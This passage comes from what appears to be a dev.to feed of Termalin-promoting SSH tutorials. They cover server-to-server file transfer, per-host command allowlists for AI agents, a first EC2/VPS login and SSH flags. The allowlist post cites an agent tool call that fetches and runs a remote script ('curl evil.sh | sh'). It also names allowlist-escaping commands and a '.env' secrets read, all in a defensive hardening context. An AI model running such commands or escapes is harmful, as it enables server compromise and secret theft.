&lt;p&gt;The fast path is A talking straight to B over their (usually much fatter) link:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh alice@server-a
rsync &lt;span class="nt"&gt;-avP&lt;/span&gt; /srv/app/data bob@server-b:/srv/app/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;rsync -avP&lt;/code&gt; gives you progress, permissions, and — the killer feature — &lt;strong&gt;resume&lt;/strong&gt;: re-run the same command after any interruption and it continues where it stopped, skipping what already matches.&lt;/p&gt;

&lt;p&gt;The catch is auth: A now needs to authenticate to B. Resist the classic shortcut of copying your private key onto A. The cleaner options, best first:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A dedicated key pair on A&lt;/strong&gt;, authorized on B for exactly this job — ideally with a &lt;code&gt;command=&lt;/code&gt; restriction in B's &lt;code&gt;authorized_keys&lt;/code&gt; limiting it to rsync.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Agent forwarding (&lt;code&gt;ssh -A alice@server-a&lt;/code&gt;)&lt;/strong&gt; — your local agent answers B's challenge, no key material lands on A. Use it &lt;em&gt;only toward servers you'd trust with your agent&lt;/em&gt;: root on A can borrow your agent socket while you're connected.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  3. The tar pipe — for minimal boxes
&lt;/h2&gt;

&lt;p&gt;Appliance-grade hosts sometimes lack rsync. &lt;code&gt;tar&lt;/code&gt; and &lt;code&gt;ssh&lt;/code&gt; are always there:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh alice@server-a &lt;span class="s1"&gt;'tar cf - -C /srv/app data'&lt;/span&gt; | ssh bob@server-b &lt;span class="s1"&gt;'tar xf - -C /srv/app'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Streams through your machine like &lt;code&gt;scp -3&lt;/code&gt;, but preserves permissions and symlinks faithfully, handles a million small files far better than per-file scp, and composes with &lt;code&gt;zstd&lt;/code&gt; (&lt;code&gt;tar cf - … | zstd&lt;/code&gt; / &lt;code&gt;zstd -d | tar xf -&lt;/code&gt;) when the pipe is thin. No resume — it's the duct-tape option, and everyone should know it anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Object storage as the relay
&lt;/h2&gt;

&lt;p&gt;When the two servers can't reach each other &lt;em&gt;and&lt;/em&gt; the data is big, stop streaming and stage it once in a bucket:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# on A                                   # on B&lt;/span&gt;
aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;data s3://my-bucket/xfer/ &lt;span class="nt"&gt;-r&lt;/span&gt;    aws s3 &lt;span class="nb"&gt;cp &lt;/span&gt;s3://my-bucket/xfer/ data &lt;span class="nt"&gt;-r&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Both directions use each server's own (fat) link, either side can resume, and the bucket doubles as an audit point. Works with any S3-compatible storage — MinIO on your own hardware counts. Just remember the lifecycle rule so &lt;code&gt;xfer/&lt;/code&gt; doesn't quietly become a 400 GB monument to one migration.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. The GUI way — two panes, two servers
&lt;/h2&gt;

&lt;p&gt;For the everyday version of this problem — a handful of files, two servers, no ceremony — a &lt;a href="https://termal.in/sftp-client/" rel="noopener noreferrer"&gt;dual-pane file manager&lt;/a&gt; beats all of the above on time-to-done. In Termalin, each pane connects independently: local↔host, &lt;strong&gt;host↔host&lt;/strong&gt;, or an &lt;strong&gt;S3 bucket&lt;/strong&gt; as either side. Drag from pane to pane and the app does the download-then-upload for you, through a temporary file on your machine that it deletes afterwards. So the bytes do pass through your connection, which is fine for a handful of files; for the 40 GB directory, use one of the server-side options above. Auth is whatever each host already uses in your client, so there's no key-copying question at all, and no agent to expose.&lt;/p&gt;

&lt;p&gt;It's also the option you can hand to a teammate who would rather not learn the &lt;code&gt;authorized_keys&lt;/code&gt; &lt;code&gt;command=&lt;/code&gt; syntax before lunch.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which one, when
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Reach for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Small transfer, zero setup, untrusting servers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;scp -3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Big transfer, servers can talk, needs resume&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;rsync&lt;/code&gt; run on A&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Minimal/appliance hosts, lots of small files&lt;/td&gt;
&lt;td&gt;tar-over-ssh pipe&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servers can't reach each other, huge data&lt;/td&gt;
&lt;td&gt;S3 relay&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A few files, done in ten seconds&lt;/td&gt;
&lt;td&gt;dual-pane GUI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The theme across the first four: the data should cross each network segment &lt;strong&gt;once&lt;/strong&gt;, and your laptop should be a controller, not a warehouse. The GUI trades that for convenience, which is why it's the small-files answer.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin's dual-pane file manager does local↔host and host↔host transfers in the Free tier (an S3 bucket as a pane is on Pro) — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or browse the &lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;full feature list&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>scp</category>
      <category>rsync</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Per-host command allowlists: least-privilege SSH for AI agents</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Wed, 30 Sep 2026 16:16:00 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/per-host-command-allowlists-least-privilege-ssh-for-ai-agents-1nnj</link>
      <guid>https://dev.to/wolfhound1995/per-host-command-allowlists-least-privilege-ssh-for-ai-agents-1nnj</guid>
      <description>&lt;p&gt;&lt;em&gt;Holding an agent's key isn't enough — bound what it runs. Per-host command policies (full, allowlist, or blocked) are least-privilege SSH for AI agents.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;There are two separate questions in giving an AI agent access to a server, and most setups only answer the first. The first is &lt;em&gt;who holds the credential&lt;/em&gt; — and getting the key out of the agent's hands, into a custodian that signs on its behalf, is a real and necessary win. But it leaves the second question wide open: &lt;em&gt;what can the agent do once it's connected?&lt;/em&gt; A custodian that hands an agent an unrestricted shell has solved key custody and nothing else. A steered agent doesn't need your key when &lt;code&gt;ssh_exec("curl evil.sh | sh")&lt;/code&gt; is on the menu.&lt;/p&gt;

&lt;p&gt;Least-privilege is the answer to the second question. In Termalin it's a per-host setting, and this is how to use it well.&lt;/p&gt;

&lt;h2&gt;
  
  
  Custody bounds the credential; policy bounds the blast radius
&lt;/h2&gt;

&lt;p&gt;Recall the &lt;a href="https://termal.in/blog/agent-ssh-access-blast-radius/" rel="noopener noreferrer"&gt;blast-radius ranking&lt;/a&gt;: pasting a key is the worst arrangement, a custodian with per-host policy is the best. The jump from "custodian" to "custodian &lt;em&gt;with policy&lt;/em&gt;" is exactly this feature. Without it, compromising the agent's context gives an attacker a full shell on every host the custodian can reach. With it, what they get is the ability to &lt;em&gt;request&lt;/em&gt; the specific commands you allowed, on the specific hosts you listed — requests that show up in a live view and an audit log as they happen.&lt;/p&gt;

&lt;p&gt;The &lt;a href="https://termal.in/blog/what-is-an-mcp-server/" rel="noopener noreferrer"&gt;MCP explainer&lt;/a&gt; makes the case that "who holds the credential" is the load-bearing question. Command policy is the second load-bearing question, and the two together are what make agent access something you can actually leave running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The three levels
&lt;/h2&gt;

&lt;p&gt;In Termalin, every host you expose to agents carries an &lt;strong&gt;agent policy&lt;/strong&gt;, set in &lt;strong&gt;Settings → MCP&lt;/strong&gt; or on the host's own form. It's one of three levels:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Full&lt;/strong&gt; — the agent gets a normal shell on that host. Correct for a scratch VM you don't care about; the wrong default for anything else, because "full" on production simply recreates the unrestricted-shell problem for that one box.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Allowlist&lt;/strong&gt; — the agent may run only the commands you name; everything else is refused before it executes. This is the level you want for anything that matters.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blocked&lt;/strong&gt; — the host is off-limits to agents entirely, even though it's in your hosts list for your own use. Useful when you want an agent to see &lt;em&gt;some&lt;/em&gt; of your fleet but never touch a specific machine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The default posture is conservative: agent access is off until you turn it on, only the hosts you tick are reachable at all, and a blocked host stays blocked. You widen from there deliberately, not the other way around.&lt;/p&gt;

&lt;h2&gt;
  
  
  Writing a good allowlist
&lt;/h2&gt;

&lt;p&gt;An allowlist is only as good as the list. A few principles that save you from writing one that looks tight but isn't:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Start from the task, not the toolbox.&lt;/strong&gt; Don't list every command the agent &lt;em&gt;might&lt;/em&gt; find handy. List the ones the job in front of you actually needs. A deploy agent needs its release command, maybe &lt;code&gt;systemctl&lt;/code&gt; for the service and &lt;code&gt;git&lt;/code&gt; for the pull — not &lt;code&gt;bash&lt;/code&gt;, not &lt;code&gt;sh&lt;/code&gt;, not a package manager. A monitoring agent needs &lt;code&gt;systemctl status&lt;/code&gt;, &lt;code&gt;journalctl&lt;/code&gt;, &lt;code&gt;df&lt;/code&gt;, &lt;code&gt;free&lt;/code&gt; — and nothing that writes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Watch for commands that are shells in disguise.&lt;/strong&gt; &lt;code&gt;find … -exec&lt;/code&gt;, &lt;code&gt;awk 'system(...)'&lt;/code&gt;, &lt;code&gt;git&lt;/code&gt; with hooks, an editor with shell escape, &lt;code&gt;tar --to-command&lt;/code&gt;, any interpreter (&lt;code&gt;python&lt;/code&gt;, &lt;code&gt;perl&lt;/code&gt;, &lt;code&gt;node&lt;/code&gt;) — each turns a single allowlisted entry into arbitrary execution. If the task doesn't need them, leave them off; if it does, that host is closer to "full" than the list suggests, so treat it that way.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reads leak too.&lt;/strong&gt; This is the limit worth internalizing: an allowlist bounds &lt;em&gt;actions&lt;/em&gt;, not the information in their output. If &lt;code&gt;cat&lt;/code&gt; is allowed, &lt;code&gt;cat .env&lt;/code&gt; returns your secrets into the agent's context, and from there they can travel wherever the model's output goes. Write the list with reads in mind, not just writes — and fix secrets-on-disk as its own problem. A policy is a boundary on what the agent can &lt;em&gt;do&lt;/em&gt;, not a guarantee about what it can &lt;em&gt;learn&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  The read-only shortcut
&lt;/h2&gt;

&lt;p&gt;For the common "let the agent look, not touch" case, you don't have to enumerate commands by hand. When an agent reaches your servers through the &lt;strong&gt;hosted endpoint&lt;/strong&gt; with an &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;API key&lt;/a&gt;, the key itself carries a command policy — &lt;strong&gt;full, an allowlist, or read-only&lt;/strong&gt; — alongside its server scope and expiry. A read-only key is the fastest way to stand up a safe observer: health checks, log tails, "is the migration done yet?" jobs that can see everything and change nothing. It's the right default for the &lt;a href="https://termal.in/blog/agent-ssh-access-in-ci-cd/" rel="noopener noreferrer"&gt;CI and cloud-agent pattern&lt;/a&gt;, where you want a token that does one narrow job and dies on a schedule.&lt;/p&gt;

&lt;h2&gt;
  
  
  Policy is enforced, then recorded
&lt;/h2&gt;

&lt;p&gt;Two things happen to a command the policy forbids, and both matter. First, it's &lt;strong&gt;refused before it runs&lt;/strong&gt; — the enforcement is at the point the agent asks, not a suggestion the agent is trusted to honor. Second, what does get through is &lt;strong&gt;visible&lt;/strong&gt;: sessions an agent drives glow in the &lt;a href="https://termal.in/watch-grid/" rel="noopener noreferrer"&gt;watch grid&lt;/a&gt;, and every command it runs is &lt;a href="https://termal.in/blog/audit-what-an-ai-agent-does-on-your-servers/" rel="noopener noreferrer"&gt;marked as the agent's in the audit log&lt;/a&gt;, with the host, device and IP. A refused command comes back to the agent as an error; refusals aren't written to the audit log yet. So a policy is a wall, and the work that passes through it is on camera.&lt;/p&gt;

&lt;h2&gt;
  
  
  A recipe to copy
&lt;/h2&gt;

&lt;p&gt;A sensible starting arrangement for a mixed fleet:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Production hosts → allowlist&lt;/strong&gt;, scoped to the exact commands your runbook uses. Or, if the only agent work there is observation, a &lt;strong&gt;read-only&lt;/strong&gt; hosted key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Staging → allowlist&lt;/strong&gt; too, a bit wider, since it's where you let an agent iterate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A scratch VM → full&lt;/strong&gt;, so the agent has room to experiment somewhere a mistake costs nothing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The one box you'll never let an agent near → blocked&lt;/strong&gt;, even though you use it yourself.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then point your agent at it — &lt;a href="https://termal.in/blog/connect-claude-code-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Claude Code&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-codex-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Codex&lt;/a&gt;, &lt;a href="https://termal.in/blog/connect-gemini-cli-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;Gemini&lt;/a&gt;, Cursor, whatever you run. The agent gets real, useful reach; a bad instruction or a poisoned tool result runs into a wall you built, in full view, instead of into your fleet.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client with a built-in MCP server, a key custodian and &lt;a href="https://termal.in/ssh-for-ai-agents/" rel="noopener noreferrer"&gt;per-host agent policy&lt;/a&gt; — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;download it&lt;/a&gt;, or read the &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;security model&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>aiagents</category>
      <category>ssh</category>
      <category>security</category>
      <category>mcp</category>
    </item>
    <item>
      <title>How to SSH into an EC2 instance or a VPS for the first time</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Tue, 29 Sep 2026 15:23:11 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/how-to-ssh-into-an-ec2-instance-or-a-vps-for-the-first-time-3167</link>
      <guid>https://dev.to/wolfhound1995/how-to-ssh-into-an-ec2-instance-or-a-vps-for-the-first-time-3167</guid>
      <description>&lt;p&gt;&lt;em&gt;You just spun up a cloud server — here's the clean path in: the right login user, the key-permissions gotcha, the two errors everyone hits, and how to make the connection repeatable.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;You clicked "launch," the dashboard says the instance is running, and now there's a public IP address and a downloaded key file and no obvious next move. This is the first wall almost everyone hits with a cloud server, and it's made of four small things that each have one right answer: the address, the login user, the key, and its permissions. Get those lined up and you're at a shell in under a minute. Miss one and you get an error that sounds scarier than it is. Here's the whole path, first try to shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — gather the four things you need
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;The address.&lt;/strong&gt; Your provider's console shows it. On AWS it's the instance's &lt;em&gt;Public IPv4 address&lt;/em&gt; or &lt;em&gt;Public IPv4 DNS&lt;/em&gt; (&lt;code&gt;ec2-3-120-…​.compute.amazonaws.com&lt;/code&gt;); on DigitalOcean, Hetzner, Linode or Vultr it's the droplet/server's public IP.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The login user — this trips up more people than anything else.&lt;/strong&gt; You almost never log in as a name you chose. The image decides it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;AWS EC2:&lt;/strong&gt; &lt;code&gt;ec2-user&lt;/code&gt; on Amazon Linux, &lt;code&gt;ubuntu&lt;/code&gt; on Ubuntu AMIs, &lt;code&gt;admin&lt;/code&gt; on Debian, &lt;code&gt;centos&lt;/code&gt;/&lt;code&gt;rocky&lt;/code&gt;/&lt;code&gt;fedora&lt;/code&gt; on those. There is no &lt;code&gt;root&lt;/code&gt; login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DigitalOcean / Hetzner / Vultr:&lt;/strong&gt; usually &lt;code&gt;root&lt;/code&gt; (you attach your SSH key when you create the server).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google Cloud:&lt;/strong&gt; the username tied to your key or OS Login.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Azure:&lt;/strong&gt; the admin username &lt;em&gt;you&lt;/em&gt; set at creation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When in doubt, the provider's "connect" panel names the user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The key.&lt;/strong&gt; Cloud providers use key auth, not passwords. Either you downloaded a &lt;code&gt;.pem&lt;/code&gt; at launch (AWS), or you pasted your &lt;strong&gt;public&lt;/strong&gt; key into the create screen and hold the matching &lt;strong&gt;private&lt;/strong&gt; key locally (most VPS hosts). Either way you already have the private key you need — you do not download it again, and there's no password to look up.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — fix the key's permissions (the famous gotcha)
&lt;/h2&gt;

&lt;p&gt;SSH refuses to use a private key that other users on your machine could read. The first &lt;code&gt;ssh&lt;/code&gt; attempt on a freshly downloaded &lt;code&gt;.pem&lt;/code&gt; very often ends in:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'mykey.pem' are too open.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On macOS or Linux the fix is one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;chmod &lt;/span&gt;400 mykey.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On Windows it's fiddlier — OpenSSH there checks Windows ACLs, not Unix bits, so you either strip inherited permissions with &lt;code&gt;icacls&lt;/code&gt; or let a client manage the key for you. This is one of several rough edges that a proper SSH client just… doesn't have, because it stores keys correctly to begin with.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — connect
&lt;/h2&gt;

&lt;p&gt;Put the three pieces together — key, user, address:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ssh &lt;span class="nt"&gt;-i&lt;/span&gt; mykey.pem ubuntu@ec2-3-120-45-67.eu-central-1.compute.amazonaws.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first time, SSH shows the server's fingerprint and asks whether to trust it — that's &lt;a href="https://termal.in/blog/ssh-host-key-verification-failed/" rel="noopener noreferrer"&gt;trust-on-first-use&lt;/a&gt;, and typing &lt;code&gt;yes&lt;/code&gt; pins the key so a later change (which could mean a man-in-the-middle) gets flagged. If you land at a shell prompt, you're in. If not, it's almost certainly one of the next two errors.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — the two errors you'll actually hit
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;Connection timed out&lt;/code&gt; (or &lt;code&gt;refused&lt;/code&gt;).&lt;/strong&gt; This is a network problem, not a login problem — SSH never even reached a willing server. On a cloud box the usual cause is the &lt;strong&gt;firewall in front of the instance&lt;/strong&gt;: AWS &lt;strong&gt;security groups&lt;/strong&gt;, or the provider's cloud firewall, don't allow inbound port 22 from your IP by default on every setup. Open 22 to your address (not &lt;code&gt;0.0.0.0/0&lt;/code&gt; — see hardening below) and try again. The full decision tree is in &lt;a href="https://termal.in/blog/ssh-connection-refused-timed-out/" rel="noopener noreferrer"&gt;connection refused vs timed out&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;code&gt;Permission denied (publickey)&lt;/code&gt;.&lt;/strong&gt; SSH reached the server, but the login was rejected. On a first connection this is nearly always one of two things: the &lt;strong&gt;wrong user&lt;/strong&gt; (you tried &lt;code&gt;root@&lt;/code&gt; on an Ubuntu EC2 box that wants &lt;code&gt;ubuntu@&lt;/code&gt;), or the &lt;strong&gt;wrong key&lt;/strong&gt; (not the one whose public half is on the server). Add &lt;code&gt;-v&lt;/code&gt; to watch which key SSH offers and how the server answers; &lt;a href="https://termal.in/blog/ssh-permission-denied-publickey/" rel="noopener noreferrer"&gt;permission denied (publickey), decoded&lt;/a&gt; walks through every cause.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 5 — make it repeatable
&lt;/h2&gt;

&lt;p&gt;You do not want to retype that &lt;code&gt;ssh -i … long-user@long-dns&lt;/code&gt; line for the life of the server. Two ways to fix it:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A &lt;code&gt;~/.ssh/config&lt;/code&gt; entry&lt;/strong&gt; turns the whole thing into a nickname:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ssh"&gt;&lt;code&gt;&lt;span class="k"&gt;Host&lt;/span&gt; prod
    &lt;span class="k"&gt;HostName&lt;/span&gt; ec2-3-120-45-67.eu-central-1.compute.amazonaws.com
    &lt;span class="k"&gt;User&lt;/span&gt; ubuntu
    &lt;span class="k"&gt;IdentityFile&lt;/span&gt; ~/.ssh/mykey.pem
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now &lt;code&gt;ssh prod&lt;/code&gt; is the whole command. The &lt;a href="https://termal.in/blog/ssh-config-file-guide/" rel="noopener noreferrer"&gt;SSH config file guide&lt;/a&gt; covers the rest — jump hosts, per-host keys, keepalives.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Or save it in a client&lt;/strong&gt; that keeps the host, user, key and port together as one entry, shows you the server's live CPU/disk/memory the moment you connect, and syncs the whole list to your other machines. Same idea as the config file, minus the file.&lt;/p&gt;

&lt;h2&gt;
  
  
  A word on hardening, before you forget
&lt;/h2&gt;

&lt;p&gt;The box is on the public internet now, and SSH scanners find new ones within minutes. Two habits worth building on day one:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scope the firewall.&lt;/strong&gt; Allow 22 from your IP or your VPN, not from the entire internet. If the server sits in a private subnet, reach it through a bastion with &lt;a href="https://termal.in/blog/ssh-proxyjump-bastion-host/" rel="noopener noreferrer"&gt;ProxyJump&lt;/a&gt; rather than giving it a public address at all.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keys only, no passwords.&lt;/strong&gt; Cloud images usually ship this way already (&lt;code&gt;PasswordAuthentication no&lt;/code&gt;); keep it that way. A key you can revoke per device beats a password every session shares.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Letting an AI agent help run it
&lt;/h2&gt;

&lt;p&gt;Once you can reach the box, the 2026 temptation is to stop SSHing in yourself for every little check and instead ask an assistant — Claude Code, Cursor, Codex — to look at why a service died or a disk filled up. That's genuinely useful, and it's also the exact moment people hand an agent the &lt;code&gt;.pem&lt;/code&gt; and a raw shell, which is &lt;a href="https://termal.in/blog/agent-ssh-access-blast-radius/" rel="noopener noreferrer"&gt;the one move you can't take back&lt;/a&gt;: a key in an agent's environment is your whole server, forever, wherever that context ends up.&lt;/p&gt;

&lt;p&gt;The better arrangement is to let the agent go through something that holds the key for it, limits what it can run, and records what it did — &lt;a href="https://termal.in/blog/connect-codex-to-your-server-over-ssh/" rel="noopener noreferrer"&gt;connect the agent over MCP&lt;/a&gt; instead of pasting a credential. The server gets a capable helper; the helper never gets the keys to it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where Termalin fits
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://termal.in/features/" rel="noopener noreferrer"&gt;Termalin&lt;/a&gt; is a cross-platform SSH client (Windows, macOS, Linux) that removes the day-one friction above: it stores keys with correct permissions so the &lt;code&gt;chmod&lt;/code&gt;/&lt;code&gt;icacls&lt;/code&gt; dance never happens, keeps each host's user, key and port together so a server is a nickname and not a remembered command, and shows the machine's disk, memory and load live in the status bar. And when you want an agent to help, it connects through the built-in &lt;a href="https://termal.in/mcp/" rel="noopener noreferrer"&gt;MCP server&lt;/a&gt; — working over your SSH access without ever holding the key. The Free tier has no host limits — &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;grab it&lt;/a&gt; and add your new server.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Termalin is a free, cross-platform SSH client — clean first connections, and safe access for the AI agents you let help. &lt;a href="https://termal.in/download/" rel="noopener noreferrer"&gt;Download it&lt;/a&gt;, or read the &lt;a href="https://termal.in/security/" rel="noopener noreferrer"&gt;security model&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ssh</category>
      <category>aws</category>
      <category>vps</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>The SSH flags you'll actually use (a practical cheat sheet)</title>
      <dc:creator>Svyatoslav Pavlov</dc:creator>
      <pubDate>Mon, 28 Sep 2026 15:59:56 +0000</pubDate>
      <link>https://dev.to/wolfhound1995/the-ssh-flags-youll-actually-use-a-practical-cheat-sheet-24pg</link>
      <guid>https://dev.to/wolfhound1995/the-ssh-flags-youll-actually-use-a-practical-cheat-sheet-24pg</guid>
      <description>&lt;p&gt;&lt;em&gt;The SSH command flags worth memorizing, organized by task — connection basics, -o, forwarding, jump hosts, session control — plus a compact reference table.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ssh --help&lt;/code&gt; dumps forty flags in alphabetical order, which is the least useful way to learn them. You reach for flags by what you're trying to do — connect as a different user, forward a port, hop through a bastion, debug a refusal — so here's the same set organized by task, with a note on which ones to stop typing and put in &lt;a href="https://termal.in/blog/ssh-config-file-guide/" rel="noopener noreferrer"&gt;your ssh_config&lt;/a&gt; instead.&lt;/p&gt;

&lt;p&gt;The rule underneath all of it: &lt;strong&gt;flags are for one-offs; config is for permanence.&lt;/strong&gt; Anything you pass twice belongs in the file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connection basics
&lt;/h2&gt;

&lt;p&gt;The flags that answer "who, where, and with what key."&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-p &amp;lt;port&amp;gt;&lt;/code&gt;&lt;/strong&gt; — connect to a non-standard port. &lt;code&gt;ssh -p 2222 user@host&lt;/code&gt;. (Lowercase &lt;code&gt;-p&lt;/code&gt;; uppercase &lt;code&gt;-P&lt;/code&gt; is scp's port flag, which trips everyone up once.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-l &amp;lt;user&amp;gt;&lt;/code&gt;&lt;/strong&gt; — the login user, an alternative to the &lt;code&gt;user@&lt;/code&gt; prefix. &lt;code&gt;ssh -l deploy host&lt;/code&gt; equals &lt;code&gt;ssh deploy@host&lt;/code&gt;; you'll see &lt;code&gt;-l&lt;/code&gt; in scripts and older docs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-i &amp;lt;identity&amp;gt;&lt;/code&gt;&lt;/strong&gt; — point at a specific private key. &lt;code&gt;ssh -i ~/.ssh/work_ed25519 user@host&lt;/code&gt;. The most useful flag when auth fails: it forces the exact key instead of letting the agent guess.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-F &amp;lt;configfile&amp;gt;&lt;/code&gt;&lt;/strong&gt; — use a different config file. &lt;code&gt;ssh -F ./project.sshconfig web1&lt;/code&gt;, or &lt;code&gt;-F /dev/null&lt;/code&gt; to ignore your personal config and test with zero customization.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-v&lt;/code&gt; / &lt;code&gt;-vv&lt;/code&gt; / &lt;code&gt;-vvv&lt;/code&gt;&lt;/strong&gt; — verbosity, and the flag that ends most mysteries. One &lt;code&gt;-v&lt;/code&gt; shows the auth methods tried and keys offered; &lt;code&gt;-vvv&lt;/code&gt; shows the full handshake. When something fails, run it again with &lt;code&gt;-vvv&lt;/code&gt; before you theorize.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The &lt;code&gt;-o&lt;/code&gt; escape hatch
&lt;/h2&gt;

